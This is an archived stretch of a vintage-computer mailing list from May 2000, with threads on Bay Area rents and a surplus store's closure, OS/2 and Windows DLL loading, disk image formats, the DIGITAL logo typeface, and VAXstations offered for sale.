<3930186A.F826C8A6@mainecoon.com> Bruce Lane wrote: > Thank you for sharing your opinion. I still find it hard to believe > that some sort of deal could not have been worked out. > > The ONLY reason prices and rents are skyrocketing as they > are is because of the odd and abstract idea that they should. > People create inflation, not the other way around. No, the reason that rents in the south bay are skyrocketing is simple supply and demand. There's simply not enough space. It's an interesting reversal from not all that long ago, when there was a glut of space in the south bay. Also unlike the past, there's not much dirt left for development. As for "working somthing out", consider that landlords in the south bay are now routinely demanding -- and getting -- options on the companies to which they lease. This isn't to say that I like the situation, but it's not as if I could reasonable expect a property owner to maintain his rents below market value. -- Chris Kennedy chris@mainecoon.com http://www.mainecoon.com PGP fingerprint: 4E99 10B6 7253 B048 6685 6CBC 55E1 20A3 108D AB97 From cisin at xenosoft.com Sat May 27 14:26:37 2000 From: cisin at xenosoft.com (Fred Cisin (XenoSoft)) Date: Sun Feb 27 18:53:10 2005 Subject: Another moment of silence... In-Reply-To: <3930186A.F826C8A6@mainecoon.com> Message-ID: > No, the reason that rents in the south bay are skyrocketing is simple > supply and demand. Not just the south bay. The location of my office is adjacent to an area going through rampant gentrification. When I moved my office to its current location 12 years ago, 50 cents a square foot was going rate for warehouse space, usable as office. Now such spaces are being sheetrocked and carpeted, and going for $5 to $10 per square foot. My landlords are a partnership. One of them is trying to retire. The other just started a new venture that immediately failed. So, since the building is worth ten times what they once paid for it, they're selling. 99% probability that the new owners will clear the building, remodel, and raise the rents to 10 times their current level. And the zoning is such that they could add a second level. I've been losing money for a long time. I would keep going, anyway. But there's just no way that I can rationalize moving AND continuing. Therefore, after 22 years (12 in current location), XenoSoft is closing. No idea how long before the landlords find a buyer; then I'll have 30 days. "Greed"? "Capitalism"? It doesn't matter any more. Should I hate my landlords for it? I don't think so, and it's not worth it. I'm too busy discarding all the stuff that represents that part of my life. -- Grumpy Ol' Fred cisin@xenosoft.com From richard at idcomm.com Sat May 27 14:47:58 2000 From: richard at idcomm.com (Richard Erlacher) Date: Sun Feb 27 18:53:10 2005 Subject: Another moment of silence... References: Message-ID: <000f01bfc814$76c3ae60$0400c0a8@winbook> Just to keep it in proportion, here in the Denver area, "clean" heated and lighted space, concrete on the floor, what you'd like to rent for garage space, except the landlords won't allow "dirty" enterprises such as auto repair, body shops, etc, rents for about $10 where, in '92 it rented for $6. That's just below what it (in 92) cost to build. Of course, now it costs $50 to build. My modest little house valued around $140K would cost $1.1million in the south Bay, and probably more in some special areas. I surely wouldn't rent my house out for what it would have cost 20 years ago to rent one like it. I suppose that makes me greedy, right? Dick ----- Original Message ----- From: Fred Cisin (XenoSoft) To: Sent: Saturday, May 27, 2000 1:26 PM Subject: Another moment of silence... > > No, the reason that rents in the south bay are skyrocketing is simple > > supply and demand. > > Not just the south bay. > The location of my office is adjacent to an area going through rampant > gentrification. When I moved my office to its current location 12 years > ago, 50 cents a square foot was going rate for warehouse space, usable as > office. Now such spaces are being sheetrocked and carpeted, and going for > $5 to $10 per square foot. > > My landlords are a partnership. One of them is trying to retire. The > other just started a new venture that immediately failed. So, since the > building is worth ten times what they once paid for it, they're selling. > 99% probability that the new owners will clear the building, remodel, and > raise the rents to 10 times their current level. And the zoning is such > that they could add a second level. > > I've been losing money for a long time. I would keep going, anyway. But > there's just no way that I can rationalize moving AND continuing. > > > Therefore, after 22 years (12 in current location), XenoSoft is closing. > No idea how long before the landlords find a buyer; then I'll have 30 > days. > > > "Greed"? "Capitalism"? It doesn't matter any more. Should I hate my > landlords for it? I don't think so, and it's not worth it. I'm too busy > discarding all the stuff that represents that part of my life. > > -- > Grumpy Ol' Fred cisin@xenosoft.com > > From ard at p850ug1.demon.co.uk Sat May 27 14:07:59 2000 From: ard at p850ug1.demon.co.uk (Tony Duell) Date: Sun Feb 27 18:53:10 2005 Subject: Defining Disk Image Dump Standard In-Reply-To: from "Vintage Computer GAWD!" at May 26, 0 06:44:37 pm Message-ID: A non-text attachment was scrubbed... Name: not available Type: text Size: 3091 bytes Desc: not available Url : http://www.classiccmp.org/pipermail/cctalk/attachments/20000527/b263ed09/attachment-0001.ksh From jfoust at threedee.com Sat May 27 15:11:50 2000 From: jfoust at threedee.com (John Foust) Date: Sun Feb 27 18:53:10 2005 Subject: OS/2 In-Reply-To: <4.3.1.2.20000526161020.00ce0460@persys.com> References: <8763AE987517D2118C0500A0C9AB234C2BAD59@tegntserver.tegjeff .com> Message-ID: <4.3.0.20000527150940.02314d80@pc> So in the OS/2 scheme, how does it map the info at the faulted instruction into the filename and function of the DLL? To me, the primary flaw of Windows DLLs is the tremendous opportunity for the wrong DLL to be loaded - because of the lack of proper implementation of version checking, search path, etc. - John From stevemas at persys.com Sat May 27 16:15:03 2000 From: stevemas at persys.com (Steve Mastrianni) Date: Sun Feb 27 18:53:10 2005 Subject: OS/2 In-Reply-To: <4.3.0.20000527150940.02314d80@pc> References: <4.3.1.2.20000526161020.00ce0460@persys.com> <8763AE987517D2118C0500A0C9AB234C2BAD59@tegntserver.tegjeff .com> Message-ID: <4.3.1.2.20000527165927.06930be0@persys.com> That's specified by the import library at link time and included in the run time image. The loader reads it when it loads the executable, then searches the LIBPATH for the DLL and dynamically binds to the DLL by ordinal or name. > The primary flaw of Windows DLLs Correct. You can cause that to happen, but its unlikely because the Windows DLLs you are using are probably already loaded. But that's always been a flwa with Windows, especially with MFC and the dozens of different MFC42.DLL versions. Windows 2K prevents that with what they call "side by side" DLLs. You can't replace one of the system DLLs. When you install a program that tries to replace a system DLL, Windows 2K will make it look like the DLL has been replaced, but then replace it with the original DLL.. It also allows you to place custom versions of a DLL in your executable's directory and have them loaded and used instead of the system's copy. So things are better, but still not perfect. In a more perfect world, I would have preferred OS/2 over Windows any day. It has snappier response on an equivalent machine, and works extremely well for real time data acquisition, has low interrupt latency and predicatble response times. At 03:11 PM 5/27/00 -0500, you wrote: >So in the OS/2 scheme, how does it map the info at the faulted >instruction into the filename and function of the DLL? > >To me, the primary flaw of Windows DLLs is the tremendous opportunity >for the wrong DLL to be loaded - because of the lack of proper >implementation of version checking, search path, etc. > >- John - Steve Mastrianni From CLASSICCMP at trailing-edge.com Sat May 27 16:52:19 2000 From: CLASSICCMP at trailing-edge.com (CLASSICCMP@trailing-edge.com) Date: Sun Feb 27 18:53:10 2005 Subject: Defining Disk Image Dump Standard Message-ID: <000527175219.20200a02@trailing-edge.com> >> This is a good start. The header should include a byte that contains a >> flag indicating the status of the sector (good, bad, etc). >Other things that are 'missing' from that header are whether the sector >is single or double density, what sort of Data Marker came before it >(some TRS-80 disks use strange data markers, and just about all TRS-80 >M1/M3/M4 OSes use deleted data markers on the directory track). Then there are some *real* oddballs, such as disks with 18 or 12 or 9 bits per byte. It's very, very common for double-density CP/M disks to have the boot sector - and in some cases the first few tracks - in single density. For these odd formats, I just record the waveform from the head for each track for a couple of revolutions, just to make real sure that I'm not missing anything :-). Tim. From ard at p850ug1.demon.co.uk Sat May 27 17:19:15 2000 From: ard at p850ug1.demon.co.uk (Tony Duell) Date: Sun Feb 27 18:53:10 2005 Subject: Defining Disk Image Dump Standard In-Reply-To: <000527175219.20200a02@trailing-edge.com> from "CLASSICCMP@trailing-edge.com" at May 27, 0 05:52:19 pm Message-ID: A non-text attachment was scrubbed... Name: not available Type: text Size: 1487 bytes Desc: not available Url : http://www.classiccmp.org/pipermail/cctalk/attachments/20000527/04b9d230/attachment-0001.ksh From eric at brouhaha.com Sat May 27 17:27:25 2000 From: eric at brouhaha.com (Eric Smith) Date: Sun Feb 27 18:53:10 2005 Subject: A moment of silence... In-Reply-To: <392F2A59.22311.BDD2264@localhost> (kyrrin@bluefeathertech.com) References: <392F2A59.22311.BDD2264@localhost> Message-ID: <20000527222725.20458.qmail@brouhaha.com> Bruce wrote (about Haltek): > It seems that their lease was up for renewal. Their landlord, > decided to get greedy, and wanted to at least double what they'd > been paying for rent (maybe even 2.5 or triple... I'm not certain). Their landlord apparently didn't even *offer* to let them stay for a higher rent. He just said "I've got someone else who has agreed to pay twice what you're paying; get out!" From eric at brouhaha.com Sat May 27 17:34:45 2000 From: eric at brouhaha.com (Eric Smith) Date: Sun Feb 27 18:53:10 2005 Subject: Apple DiskCopy 4.2 disk image format? Message-ID: <20000527223445.20507.qmail@brouhaha.com> Does anyone have (or know where to find) the specs for the Apple DiskCopy 4.2 disk image format? I know the specs were published (unlike the new Apple Disk Copy 6.x NDIF format), but searches with Altavista, Google, and Ask didn't turn them up. I have some raw disk images of 720K and 1440K diskettes on my web site, and I want to write a Linux program to take a raw image and turn it into an ADC4.2 image, so people with Macs can more easily deal with them. Eric From sethm at loomcom.com Sat May 27 18:53:42 2000 From: sethm at loomcom.com (sjm) Date: Sun Feb 27 18:53:10 2005 Subject: DIGITAL question. Message-ID: <20000527165342.A1487@loomcom.com> I've got a strange question for former DIGITAL employees out there. It's not likely anyone will be able to answer, but it never hurts to ask. Does anyone know what font was used for the DIGITAL logo? I've never been able to find its exact match, and I'm wondering if anyone had any contact with the Corporate Identity people and might remember. (Kind of a long shot, I know) Thanks, -Seth -- "As a general rule, the man in the habit of murdering | Seth Morabito bookbinders, though he performs a distinct service | sethm@loomcom.com to society, only wastes his own time and takes no | personal advantage." -- Kenneth Grahame (1898) | Perth ==> * From rdd at smart.net Sat May 27 19:24:12 2000 From: rdd at smart.net (R. D. Davis) Date: Sun Feb 27 18:53:10 2005 Subject: Get up on the wrong side of the bed this morning? [Was: Re: Notes on repa... In-Reply-To: Message-ID: On Sat, 27 May 2000, Peter Joules wrote: > In article <392DD40E.D9E6982D@rain.org>, Marvin writes > >How about dropping this particular thread or taking it to email. Starting > >this kind of a flame war here doesn't do anyone any good. Are you sure about that? If a flame war is over the proper way to repair computers, and people learn from it, is that such a bad thing? Are people so politically correct and thin-skinned these days that their fragile psyches can't tolerate a little flame-fest? > IIRC it's a long time since we had a good flame war on the list. Glad to have been of help. :-) > ObCC - I have just changed jobs and have been sold the MicroVAX 3100 > which I had on loan for 10 UKP. All of the other hardware and software Congratulations! > which I am supposed to return remains in limbo - they don't particularly > want it back as they would then have to throw it away but they retain > ownership :( :-( Of course, for the software, there's such a thing as backups. ;-) -- R. D. Davis rdd@perqlogic.com http://www.perqlogic.com/rdd 410-744-4900 From ckaiser at oa.ptloma.edu Sat May 27 19:34:01 2000 From: ckaiser at oa.ptloma.edu (Cameron Kaiser) Date: Sun Feb 27 18:53:10 2005 Subject: DIGITAL question.y In-Reply-To: <20000527165342.A1487@loomcom.com> from sjm at "May 27, 0 04:53:42 pm" Message-ID: <200005280034.RAA13264@oa.ptloma.edu> ::Does anyone know what font was used for the DIGITAL logo? I've never ::been able to find its exact match, and I'm wondering if anyone had ::any contact with the Corporate Identity people and might remember. ::(Kind of a long shot, I know) I thought it was some kind of Futura. -- ----------------------------- personal page: http://www.armory.com/~spectre/ -- Cameron Kaiser * Point Loma Nazarene University * ckaiser@ptloma.edu -- NOBODY EXPECTS THE SPANISH INQUISITION! ------------------------------------ From kyrrin at bluefeathertech.com Sat May 27 21:45:33 2000 From: kyrrin at bluefeathertech.com (Bruce Lane) Date: Sun Feb 27 18:53:10 2005 Subject: The "Bigger Picture" Message-ID: <393025DD.11005.FB39CAB@localhost> I've already asked ... heck, told... Sellam that I don't want to continue the thread regarding what happened to Haltek. That still holds true. What I would like to add here, now that I've cooled down a bit, is some background on why I reacted as I did. I see the whole Bay Area mess -- skyrocketing housing prices, demand outpacing supply, etc. -- as only one symptom of a much larger pattern of badly distorted values and priorities that, to my eyes, has been developing at least since the mid-80's. That pattern is one of a culture that has, in large part, come to value money above all else. Above family, above skills, above the ability to create something that's truly an innovation (and I do NOT mean web-enabled refrigerators!), and above the ability to take something old, but still usable, and give it new life. Don't get me wrong: I'm not in any way against making a comfortable living, nor am I against a business making a fair profit. That would be as silly as expecting honest behavior out of White House politicians. What I do have a problem with is the pattern I see is "make as much money as you can in as short a time as you can, and to blazes with whoever you might screw, or what you might do to the long-term picture for the planet along the way, because money is the ONLY important thing!" That kind of thinking is as destructive, in the long term, to this world and everyone on it as a nuclear blast would be in the short term. I do not agree with such a warped philosophy. I do not subscribe to it. I will fight it in any way that I can, anywhere I can, in this world or wherever I end up in when my number comes up. I currently do so in many different ways, one of which is by preserving and using older technology that might otherwise serve to choke a landfill even higher than it already is. I think a lot of the list's members are the same way. Every surplus dealer that goes under represents, to my eyes, that much more possible content in the landfills, that much less of an opportunity for a budding hobbyist to learn what real "hacking" is, and that much more of a win for a the mindset of "Plug-and-Play- and-ThrowItAway" rather than doing a 'Quality Job.' Given the above, is it any wonder that I got ticked off when I learned of Haltek's demise, and (more specifically) how they'd come to an end? If Sellam, or anyone else on the list, wants to judge me as short-sighted, or lacking "perspective" because of these beliefs, then I can only say "Guilty as charged, and thanks for sharing your opinion." I'm not out to offend anyone, and I'm certainly not crazy enough to think that everyone is going to agree with me. That would be really dumb. All I was trying to do was express my disgust that a place I considered as a valued resource had been, in my view, unfairly forced out of business. If that did offend anyone, I apologize. Whatever the case, I think I will keep "death notices," as it were, on my web site instead of in the group. Thanks for reading. -=-=-=-=-=-=-=-=-=-=-=-=-=-=- Bruce Lane, Owner/Head Honcho, Blue Feather Technologies (www.bluefeathertech.com) kyrrin@bluefeathertech.com "SCSI Users, Unite! Beware the IDEs of March!" From allisonp at world.std.com Sat May 27 20:32:26 2000 From: allisonp at world.std.com (allisonp) Date: Sun Feb 27 18:53:10 2005 Subject: OS/2 Message-ID: <012401bfc84d$a7337e70$7664c0d0@ajp166> From: SUPRDAVE@aol.com >a minute. if you want networking, go get warp connect. i've been told that >it's been tweaked a little after warp 3.0 came out. i have it running on a Where would I find that? I'm not warp savy, barely PC savy. >PS/2 server 95 with 48meg with scsi and i get full multimedia and can connect Hummm... How would that run on a 386sx/16 with 5mb? If not that a 486dx2/66 with 12mb. Allison From kyrrin at bluefeathertech.com Sat May 27 23:01:53 2000 From: kyrrin at bluefeathertech.com (Bruce Lane) Date: Sun Feb 27 18:53:10 2005 Subject: VAXStations Available - Update Message-ID: <393037C1.2753.FF9813B@localhost> This is an update to my earlier post regarding the availability of VAXStation 4000 VLC's. It is being posted to both CLASSICCMP and port-vax@netbsd.org. The interest in these beasties has been strong, and I had some inquiries as to further details about the unit's innards and specs. With that in mind, here's what I've gotten so far. They are indeed VLC's. Actual model number: VS48K-CA Quantity available: 20. Each unit includes an LK401 keyboard and DEC three-button mouse (not the 'Hockey Puck' style... looks more like a rebadged Logitech). (Also available: One ea. VAXStation 4000/90, condition (like the others): Uknown, pulled from working setup). Installed memory: At least 24 MB. These units appear to use standard 72-pin FPM Parity SIMMs. Video subsystem: Difficult for me to tell. The video board has a bank of 16 each Toshiba part #TC524258BZ-10 memory chips installed. I -think- this means there's 4MB of video memory... someone check me on that, please? 1MB per bank of four chips? Anyway... more details on the video. The board has a 130.808 MHz oscillator, and sports the Bt RAMDAC and chip set. This could be good, bad, or indifferent... I don't know enough about such things to say. Chip numbers are Bt458LPJ135 for the RAMDAC, and Bt438K for the other chip. There do not appear to be any hard drives in any of the units, though I could be mistaken (I didn't examine them all). It does appear that the hard drive mounting brackets were left in, so putting a drive in the thing would not be a huge hassle. Price: $50.00 or best offer per unit plus shipping. Local pickup also available. Contact: Mark Dabek, RE-PC, Tukwila, WA. Phone is 206-575- 8737. Hours are Monday-Saturday, 10:00 - 19:00 Pacific time. Web is www.repc.com. Please tell him I referred you if you go and buy one or more. He likes to know where his business comes from. -=-=-=-=-=-=-=-=-=-=-=-=-=-=- Bruce Lane, Owner/Head Honcho, Blue Feather Technologies (www.bluefeathertech.com) kyrrin@bluefeathertech.com "SCSI Users, Unite! Beware the IDEs of March!" From vaxman at uswest.net Sat May 27 23:03:35 2000 From: vaxman at uswest.net (Clint Wolff (VAX collector)) Date: Sun Feb 27 18:53:10 2005 Subject: DIGITAL question. In-Reply-To: <20000527165342.A1487@loomcom.com> Message-ID: Perhaps a better question is: Has anyone created a font with the same look and feel of the DEC logo? You have to remember computer fonts are a much more recent creation, since early terminals were character based with a simple 8x8 (or so) bitmapped character stored in ROM. The DEC logo was almost certainly not computer generated, and was simply scanned into electronic artwork for more recent books and such. clint On Sat, 27 May 2000, sjm wrote: > > I've got a strange question for former DIGITAL employees out there. > It's not likely anyone will be able to answer, but it never hurts > to ask. > > Does anyone know what font was used for the DIGITAL logo? I've never > been able to find its exact match, and I'm wondering if anyone had > any contact with the Corporate Identity people and might remember. > (Kind of a long shot, I know) > > Thanks, > > -Seth > -- > "As a general rule, the man in the habit of murdering | Seth Morabito > bookbinders, though he performs a distinct service | sethm@loomcom.com > to society, only wastes his own time and takes no | > personal advantage." -- Kenneth Grahame (1898) | Perth ==> * > > From wilson at dbit.dbit.com Sat May 27 23:36:48 2000 From: wilson at dbit.dbit.com (John Wilson) Date: Sun Feb 27 18:53:10 2005 Subject: DIGITAL question. In-Reply-To: ; from vaxman@uswest.net on Sat, May 27, 2000 at 10:03:35PM -0600 References: <20000527165342.A1487@loomcom.com> Message-ID: <20000528003648.A7579@dbit.dbit.com> On Sat, May 27, 2000 at 10:03:35PM -0600, Clint Wolff (VAX collector) wrote: >Perhaps a better question is: Has anyone created a font with >the same look and feel of the DEC logo? Aren't there two different DEC logos anyway? A few years ago when they decided it should be magenta and the colors should be fixed regardless of what the logo is printed on top of, I thought they claimed that they were slightly reshaping the characters too. I can't see the difference but that doesn't mean it's not there... Or am I remembering wrong? Out of curiousity, what else are you planning to write in this font? I've got an old paper tape with a DECUS sticker on it which is supposed to mimic the DEC stickers, so that buys a few more letters, although it still doesn't look quite right (the letters are smaller relative to the blocks than with the "digital" logo). John Wilson D Bit From marvin at rain.org Sun May 28 00:38:49 2000 From: marvin at rain.org (Marvin) Date: Sun Feb 27 18:53:10 2005 Subject: Get up on the wrong side of the bed this morning? [Was: Re:Notes on repa... References: Message-ID: <3930B0E9.9CF8243F@rain.org> "R. D. Davis" wrote: > > > In article <392DD40E.D9E6982D@rain.org>, Marvin writes > > >How about dropping this particular thread or taking it to email. Starting > > >this kind of a flame war here doesn't do anyone any good. > > Are you sure about that? If a flame war is over the proper way to > repair computers, and people learn from it, is that such a bad thing? > Are people so politically correct and thin-skinned these days that > their fragile psyches can't tolerate a little flame-fest? What makes you think a flame war is an effective way to learn? A game perhaps, but learning??? From dpeschel at eskimo.com Sun May 28 01:02:49 2000 From: dpeschel at eskimo.com (Derek Peschel) Date: Sun Feb 27 18:53:10 2005 Subject: When new advertising meets old computers In-Reply-To: <200005230034.RAA27201@eskimo.com> from "Derek Peschel" at May 22, 2000 05:34:04 PM Message-ID: <200005280602.XAA08144@eskimo.com> Following up to myself... > I haven't yet decoded the tape (if it says anyhthing at all). Luckily I > just got _Computers and Typesetting_ which covers plenty of obscure > typesetting codes (which is the only area I know of in which six-hole tape > ever became popular). It's called _Computer Peripherals and Typesetting_. Everything else I said about it is right (copyright 1968, written by HMSO). Incidentally, the price is given on the copyright page as ?8 0s. 0d. net. -- Derek From pechter at pechter.dyndns.org Sun May 28 04:13:40 2000 From: pechter at pechter.dyndns.org (Bill Pechter) Date: Sun Feb 27 18:53:10 2005 Subject: Digital Logo In-Reply-To: <200005280034.RAA13264@oa.ptloma.edu> from Cameron Kaiser at "May 27, 2000 05:34:01 pm" Message-ID: <200005280913.FAA54307@bg-tc-ppp32.monmouth.com> > ::Does anyone know what font was used for the DIGITAL logo? I've never > ::been able to find its exact match, and I'm wondering if anyone had > ::any contact with the Corporate Identity people and might remember. > ::(Kind of a long shot, I know) > > I thought it was some kind of Futura. > > -- > ----------------------------- personal page: http://www.armory.com/~spectre/ -- > Cameron Kaiser * Point Loma Nazarene University * ckaiser@ptloma.edu > -- NOBODY EXPECTS THE SPANISH INQUISITION! ------------------------------------ As an old typesetting guy -- I thought it was a modified helvetica... on the new magenta version. It, however may have been a or a Univers varient. I thought there were at least 3 versions. The original DEC logo, the later blue one and the magenta one. I believe the differences were the square dot on the i's and the top of the t was different along with the letter spacing. Bill -- bpechter@monmouth.com | Microsoft: Where do you want to go today? | Linux: Where do you want to go tomorrow? | BSD: Are you guys coming, or what? From pechter at pechter.dyndns.org Sun May 28 04:26:29 2000 From: pechter at pechter.dyndns.org (Bill Pechter) Date: Sun Feb 27 18:53:10 2005 Subject: OS/2 In-Reply-To: <24.589b81f.2660a405@aol.com> from "SUPRDAVE@aol.com" at "May 27, 2000 00:07:33 am" Message-ID: <200005280926.FAA54448@bg-tc-ppp32.monmouth.com> > i love os/2's WPS! if i could find a os/2 type shell for linux, i'd switch in > a minute. if you want networking, go get warp connect. i've been told that > it's been tweaked a little after warp 3.0 came out. i have it running on a > PS/2 server 95 with 48meg with scsi and i get full multimedia and can connect > to my isp and my other machines. if DSL ever gets around here, i will use it > to host my site. > > DB Young Team OS/2 > > hurry, hurry, step right up! see the computers you used as a kid! > http://members.aol.com/suprdave/classiccmp/museum.htm If you like Warp Connect -- you should see Warp4. Actually, there is a way to get Warp doing ethernet running from the Warp3 kit plus some fixpacks for network software to get the ndis hooks and missing pieces -- since the IP stack is already there -- but the MPTN and LAN stuff isn't. I think the info is up on hobbes. I bought Warp4 and stuff... but I don't think I'm tossing IBM any more money for the final client packages if they're not going to continue to support it past Dec. I would've bought Warp 5 with the new IP stack and the Logical Volume Manager if they would have made it available in a client edition at a reasonable price. Hard to believe they couldn't make money off it like MS's Win98 Second Edition. The code's already done for Warp Server. They probably just don't want to allocate the resources for packaging it. Bill -- bpechter@monmouth.com | Microsoft: Where do you want to go today? | Linux: Where do you want to go tomorrow? | BSD: Are you guys coming, or what? From pechter at pechter.dyndns.org Sun May 28 04:37:48 2000 From: pechter at pechter.dyndns.org (Bill Pechter) Date: Sun Feb 27 18:53:10 2005 Subject: OS/2 In-Reply-To: <20000526221323.A3827@dbit.dbit.com> from John Wilson at "May 26, 2000 10:13:23 pm" Message-ID: <200005280937.FAA54485@bg-tc-ppp32.monmouth.com> > On Fri, May 26, 2000 at 01:29:32PM -0400, Technoid Mutant wrote: > I really don't get how that happened. I jumped on OS/2 when V2.0 came out > (after reading a really positive review, in Comp Shopper I think), but > then felt burned by the bugs in V2.1 beta (how on earth did they break my > text mode "hello world" program?!?!) and bailed. Err... the early v2 OS/2 didn't have drivers for most of the hardware (IBM had to convince people to write 'em -- unlike MS who said write 'em or get locked out of the market since it's going to be preloaded on piles of PC's) OS/2 ran mostly on PS/2's back in the 2.x days. It took until 2.11 for the beast to stablize and take hold as a business platform (mostly at IBM using sites). > > The weird thing is, M$'s absolute stranglehold on the marketplace has really > only been for the last few years. Or at least it seems that way, because > each new height of predatory behavior they get away with makes the previous > rounds seem insignificant. So I don't get how they managed to lock out IBM. It's the APPS and the moving Win32s target they tried to support. The killer was when MS made Office not run under OS/2. > But OS/2 V2.0 and the 386+ machines were a very good match for each other. > It deserved to succeed, and at the time Windows was only just starting to > snowball, so OS/2 should have been there in time to really get some market > share. OS/2 was slow -- glacial on the early 386's without a LOT of memory 16meg was VERY rare then). IBM used it internally (v2.11) on PS/2 25's with 12-16mb. It was slow loading and glacial loading apps. Many secretaries booted it with all their windows apps loaded so they didn't have to wait for programs to load. They often ran Ami Pro v3.1 under win3.1 since the Lotus Smartsuite was BEHIND the windows version for features. Boot time took almost 5 minutes. It didn't crash, however. OS/2 really didn't show it's stuff until the 486's. IBM went to Pentium 100+ desktops with 32mb of memory and IP networking 3 1/2 years ago. They dropped the Lotus SmartSuite96 on it with the mix of Windows and it reallw worked well. I liked it so much I purchased it for home (along with Corel's WP Office 2000 (for Win9x and Linux) just to have the alternatives to MSOffice. Got to support someone other than MS. I'd bet they're switching to WinNT or Win9x (laptops) and going to Microsoft Word for customer compatibility in a lot of cases. We were one of the first bunches of IBM'ers to do it 3 years ago (due to IBMGS putting us out to support a major NJ manufacturer of Baby Shampoo and Band-Aids (tm) which was not to be named. 8-) > > John Wilson > D Bit > Bill -- bpechter@monmouth.com | Microsoft: Where do you want to go today? | Linux: Where do you want to go tomorrow? | BSD: Are you guys coming, or what? From CLASSICCMP at trailing-edge.com Sun May 28 08:11:06 2000 From: CLASSICCMP at trailing-edge.com (CLASSICCMP@trailing-edge.com) Date: Sun Feb 27 18:53:10 2005 Subject: DIGITAL question. Message-ID: <000528091106.20200a75@trailing-edge.com> John Wilson wrote: >Aren't there two different DEC logos anyway? A few years ago when they >decided it should be magenta and the colors should be fixed regardless of >what the logo is printed on top of, I thought they claimed that they were >slightly reshaping the characters too. I can't see the difference but >that doesn't mean it's not there... Or am I remembering wrong? I don't think there ever was "a font". I'm pretty sure they just drew the letters they needed, and in some cases they don't even match on the same nameplate. Most of the simple characters are purely line segments and constant-radius arcs, there are obviously some exceptions (the letter "a" in the "|d|i|g|i|t|a|l|", for example, in one font.) You can actually see *three* different - but similar - logo fonts in use on some manuals and equipment. For instance, the purple-and-magenta PDP-11 nameplates (the kind that go on top of a H960, for instance) have the top "|d|i|g|i|t|a|l|" in a fairly traditional (but a bit simplistic) Helvetica-ish font, while the bottom "digital equipment corporation, maynard, massachussets" is in a font that's more like hand printing, with some quirky lilts (like the way the top part of the "e" extends way to the right.) Then the font used for "decsystem" or "pdp11" is yet a third variation if it appears on the logo plate. The numerals are done in a particularly funky manner. My conclusion is that they just had a draftsman draw the letters as needed, without any real font steering committee :-). -- Tim Shoppa Email: shoppa@trailing-edge.com Trailing Edge Technology WWW: http://www.trailing-edge.com/ 7328 Bradley Blvd Voice: 301-767-5917 Bethesda, MD, USA 20817 Fax: 301-767-5927 From jfoust at threedee.com Sun May 28 10:35:32 2000 From: jfoust at threedee.com (John Foust) Date: Sun Feb 27 18:53:10 2005 Subject: A moment of silence... In-Reply-To: <20000527222725.20458.qmail@brouhaha.com> References: <392F2A59.22311.BDD2264@localhost> <392F2A59.22311.BDD2264@localhost> Message-ID: <4.3.0.20000528102607.02c2dec0@pc> At 10:27 PM 5/27/00 +0000, you wrote: >Their landlord apparently didn't even *offer* to let them stay for a >higher rent. He just said "I've got someone else who has agreed to >pay twice what you're paying; get out!" Speaking as a landlord, there's always two sides to the story. Of course, the landlord has the right to decide what sort of tenant he wants, regardless of price. It could be something as simple as smokers versus non-smokers, or some other quality of tenant. As for the whole hell-in-a-handbasket scenario, money is one way of expressing value. If more people want a quick oil-change or white-collar office space, and give those businesses more money so they can pay the doubled rent, so be it. - John From wilson at dbit.dbit.com Sun May 28 10:58:30 2000 From: wilson at dbit.dbit.com (John Wilson) Date: Sun Feb 27 18:53:10 2005 Subject: OS/2 In-Reply-To: <200005280926.FAA54448@bg-tc-ppp32.monmouth.com>; from pechter@pechter.dyndns.org on Sun, May 28, 2000 at 05:26:29AM -0400 References: <24.589b81f.2660a405@aol.com> <200005280926.FAA54448@bg-tc-ppp32.monmouth.com> Message-ID: <20000528115830.A8766@dbit.dbit.com> On Sun, May 28, 2000 at 05:26:29AM -0400, Bill Pechter wrote: >I think the info is up on hobbes. I bought Warp4 and stuff... but I >don't think I'm tossing IBM any more money for the final client packages >if they're not going to continue to support it past Dec. IBM really seems to have an attitude this time around. A customer of mine that was thinking of switching to OS/2 got a variety of stories from IBM, but the one thing they really pushed was their "Total Content Ownership" (???) scam. The way that works is, you get whatever version is shipping right now, and they freeze it. Then you pay through the nose for support, *forever*, and they say they'll fix whatever bugs crop up in that version only, just for you. If they release new versions in the mean time, you don't get 'em, and you don't *ever* get any feature upgrades, just fixes for bugs you find yourself. I can't imagine how they thought customers would like this idea!!! >I would've bought Warp 5 with the new IP stack and the Logical Volume >Manager if they would have made it available in a client edition at a >reasonable price. The LVM is EEEEEEEVIL!!!! I really don't like it, the "sticky" drive letter assignments are particularly annoying if you're swapping disks around (our boxes have hot-swappable disks, obviously we don't expect the hot-swapping to work, but we were moving drives a lot between boots to copy big files around, and LVM really mixes things up when you do that). And the LVM is the only thing that knows how to read its own partition table, so it's easy for it to get out of sync with the normal FDISK partitions if you have other OSes around. We couldn't figure out what advantage the LVM was supposed to be giving us, it was just one more configuration headache. John Wilson D Bit From marvin at rain.org Sun May 28 11:54:54 2000 From: marvin at rain.org (Marvin) Date: Sun Feb 27 18:53:10 2005 Subject: Digital CompacTape cartridge References: <24.589b81f.2660a405@aol.com> <200005280926.FAA54448@bg-tc-ppp32.monmouth.com> <20000528115830.A8766@dbit.dbit.com> Message-ID: <39314F5E.94EC93CB@rain.org> While at TRW, I ran across this Digital CompacTape cartridge for $1.00 and picked it up. I have no way to check it out but the case looks like it wasn't abused. Anyone interested for $1.00 + $3.20 Priority Mail shipping? From rexstout at uswest.net Sun May 28 14:24:43 2000 From: rexstout at uswest.net (John Rollins) Date: Sun Feb 27 18:53:10 2005 Subject: VAX-11? and some C64 stuff Message-ID: What fun! I got a book called "VAX-11 Assembly Language Programming." What's a VAX-11? And I also ended up with yet another printer, an older wedge-shaped C-64 with a 1541 drive, and lots of programming stuff for the C64. HesMon, HesKit, Pascal, Forth, and a pile of assembly stuff. Eventually I get around to putting it all together and try to program it, but right now I don't have the room or the time(damn! college is hard...). -- /--------------------------------------------------\ | http://jrollins.tripod.com/ rexstout@uswest.net | | list admin for orham and ham-mac at www.qth.net | | KD7BCY pdxham at www.egroups.com | \--------------------------------------------------/ From healyzh at aracnet.com Sun May 28 14:38:42 2000 From: healyzh at aracnet.com (Zane H. Healy) Date: Sun Feb 27 18:53:10 2005 Subject: VAX-11? and some C64 stuff In-Reply-To: Message-ID: >What fun! I got a book called "VAX-11 Assembly Language Programming." >What's a VAX-11? VAX-11/780 VAX-11/750 VAX-11/730 VAX-11/725 etc. Basically it should be good for just about any VAX. Zane | Zane H. Healy | UNIX Systems Adminstrator | | healyzh@aracnet.com (primary) | Linux Enthusiast | | healyzh@holonet.net (alternate) | Classic Computer Collector | +----------------------------------+----------------------------+ | Empire of the Petal Throne and Traveller Role Playing, | | and Zane's Computer Museum. | | 